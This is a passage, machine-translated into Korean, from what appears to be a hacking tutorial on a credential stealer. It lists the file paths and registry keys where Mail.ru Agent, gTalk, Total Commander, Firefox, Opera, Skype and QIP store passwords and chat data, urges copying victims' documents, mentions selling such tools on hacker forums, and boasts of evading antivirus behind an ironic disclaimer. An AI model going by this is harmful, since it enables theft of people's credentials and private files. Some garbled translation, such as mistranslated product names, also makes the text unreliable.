    그게 다야. 더 이상 코드가 없습니다. 이 지식은 귀중한 정보가 포함된 파일을 추출하기에 충분해야 합니다. 일을 조금 더 쉽게 하기 위해 가장 많이 사용되는 목록을 준비했습니다. 인기 프로그램저장된 사용자 데이터를 저장하는 모든 방법을 그렸습니다.

    메일 에이전트

    Mail.ru의 메신저는 이제 단순한 사용자(특히 여성) 사이에서 매우 인기가 있습니다. 목표가 명확하고 작업이 설정되어 있으므로 다음 사항에 관심이 있습니다.

  • 역사. MA는 Documents and setting\%User%\Application Data\Mra\base 에 사용자 통신의 전체 기록을 저장합니다. 기본 폴더에 파일이 있습니다. mra.dbs. 이것은 사실 히스토리 파일입니다.
  • 연락처 목록. 연락처 목록은 MRA\%user account%\clist5.txt 폴더에 있습니다. mail.agent를 사용하는 사용자는 여러 명일 수 있습니다(또는 한 사용자가 여러 계정을 가질 수 있음). 따라서 이름에 "@" 기호가 포함된 모든 폴더를 복사하는 것이 가장 합리적입니다.
  • 비밀번호. 비밀번호(보다 정확하게는 해시) 계정사용자는 ####password 매개변수의 HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% 경로를 따라 레지스트리에 있습니다.
  • 지톡

    회사 Google편리하고 기능적인 제품을 만들고 그 중 개버 클라이언트가 있습니다 - 지톡. 오늘 지톡아직 인기가 많지는 않습니다. 두 번째 PC에 설치되는 것은 아니지만 여전히 발생하는 경우가 있으므로 주제에 포함하려면 이 메신저에서도 암호를 가져오도록 즉시 프로그램을 가르치는 것이 좋습니다. 모든 gTalk 계정의 비밀번호는 HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts 레지스트리에 저장됩니다. 이 분기에는 로그인한 적이 있는 모든 계정이 나열됩니다. 지톡. 계정 비밀번호는 다음 위치에 저장됩니다. 문자열 매개변수 pw.

    총사령관

    총사령관- 지금까지 가장 인기 있는 파일 관리자. 이 프로그램에는 대략 마차와 작은 카트가 포함되어 있습니다(추가 플러그인을 사용하여 동일한 번호를 부착할 수 있음). 우리는 내장 FTP 클라이언트에만 관심이 있습니다. 많은 사람들이 사용하며 비밀번호는 물론 저장됩니다.

    TC는 다른 많은 프로그램과 달리 레지스트리에 암호를 저장하지 않지만 오래된 ini 파일을 사용합니다. 서버에 연결하는 데 필요한 모든 데이터(IP, 포트, 사용자 이름 등) 및 암호 총사령관파일에 저장 wcx_ftp.ini, 무고하게 프로그램 폴더에 있습니다. 설치된 디렉토리의 경로 총사령관, 레지스트리에서 찾을 수 있습니다. HKEY_CURRENT_USER\Software\Ghisler\Total Commander 분기를 찾습니다.

    파이어폭스

    오늘날 브라우저는 웹 여행을 위한 단순한 프로그램이 아니라 다양한 가능성 외에도 많은 기밀 정보를 저장하는 전체 프로그램입니다. 이것의 전형적인 예는 웹 양식입니다. 최신 사이트의 99%는 등록이 필요합니다. 각 사이트의 로그인/비밀번호 조합을 기억하고 지속적으로 염두에 두는 것은 비현실적인 작업입니다. 특히 고급 사용자이고 인터넷 서핑이 Odnoklassniki 및 VKontakte에만 국한되지 않는 경우에는 더욱 그렇습니다.

    개발자는 사용자의 삶을 더 쉽게 만들었으며 소위 "암호 보관소"를 프로그램에 내장했습니다. 등록하고 내 계정으로 로그인한 다음 브라우저에서 자격 증명을 기억하도록 명령했지만 잊어버렸습니다. 다음에 방문할 때 남은 것은 몇 번의 마우스 클릭뿐이며 이미 사이트에 있습니다. 브라우저가 암호를 저장하기 때문에 전체 데이터베이스를 훔칠 기회가 있음을 의미합니다.

  • sessionstore.js - 파일에 저장된 모든 세션이 포함됩니다.
  • signons3.txt - 암호화된 암호(FF의 세 번째 버전용).
  • signons.sqlite - 모든 암호화된 암호를 포함하는 SQLite 데이터베이스.
  • key3.db - 인증서용 키를 포함하는 데이터베이스.
  • 이 모든 파일은 익숙한 Document and Settings\%UserName%\Application Data\Mozilla\FireFox\Profiles\%ProfileName% 에 있습니다.

    오페라

    오페라- 러시아 사용자들 사이에서 매우 인기 있는 브라우저입니다. 당연히 방치할 수 없습니다. 따라서 Opera의 상황은 FireFox의 경우와 거의 같습니다. 브라우저에 저장된 모든 암호는 wand.dat 파일의 Document and Settings\%UserName%\Application Data\Opera\profile에 저장됩니다. Opera가 감지되면 우리는 다음의 경우와 같은 방식으로 행동합니다. 파이어폭스.

    스카이프

    Skype의 인기는 나날이 높아지고 있습니다. 많은 사람들이 전화를 거는 수단이 아니라 진부하고 편리한 채팅을 위해 사용합니다. 모든 기밀 데이터는 예상대로 사용자 프로필에 있습니다(Opera 또는 FF가 저장하는 동일한 위치). "개인화"하려면 Document and Settings\%userName%\Application Data\Skype\에서 사용자 프로필을 복사하고 레지스트리 분기(HKEY_CURRENT_USER\Software\Skype\ProtectedStorage)를 내보내야 합니다.

    QIP

    앞에서 설명한 대부분의 프로그램과 마찬가지로 QIP는 저장된 모든 암호를 Application Data\qip 에 저장합니다.

    복사 완료

    .NET 기술은 우리의 작업을 크게 단순화했으며 그 결과 모든 코딩이 몇 가지 메서드를 호출하는 것으로 축소되었습니다. 물론 이것은 멋지지 않고 WinAPI 또는 ASM "e. 어떤 면에서는 동의하지만 WinAPI, 특히 Asma에서 작성하는 것이 훨씬 더 효율적이라고 말할 수 있습니다. , 이와 같은 프로그램을 작성하지만 빨리 성공하지 못할 것입니다. 다른 사람들이 1km 길이의 코드를 작성하는 동안 당신과 나는 수확할 것입니다. 프로그래밍에 행운을 빕니다. 질문이 있으면 비누에 글을 쓰십시오.

    많은 사용자가 "내 문서" 폴더에 기밀 정보를 저장한다는 사실을 잊지 마십시오. 최소한 흥미로운 작업 문서가 있을 수 있으며 때로는 암호가 있는 전체 파일이 있을 수 있습니다. 한 번에 (이전 직장에서) 회계사의 컴퓨터에서 은행 고객을 위한 암호가 포함된 깔끔한 형식의 파일을 찾았습니다.

    진정한 친구로서 당신은 이 모든 사람들이 민감한 정보를 백업하도록 도와야 합니다.

    많은 해커 포럼에는 이러한 종류의 소프트웨어 판매에 대한 광고가 많이 있습니다. 다른 가격 - 10$에서 100$. 이 기사에서 논의한 예를 완성하면 캐비아와 함께 검은 빵 껍질을 얻을 수 있습니다. 반복합니다. 중요한 것은 문제에 창의적으로 접근하는 것이며 모든 것이 확실히 잘 될 것입니다. 다시 말하지만, 바이러스 백신에 의해 감지되지 않습니다.).

    경고!

    우리는 플래시 드라이브의 내용을 디스크에 적시에 백업하고 암호를 플래시 드라이브에 백업하기 위해 이 프로그램을 독점적으로 사용합니다. 그리고 어떻게 생각하셨나요? 그러한 소프트웨어의 불법 사용은 처벌됩니다!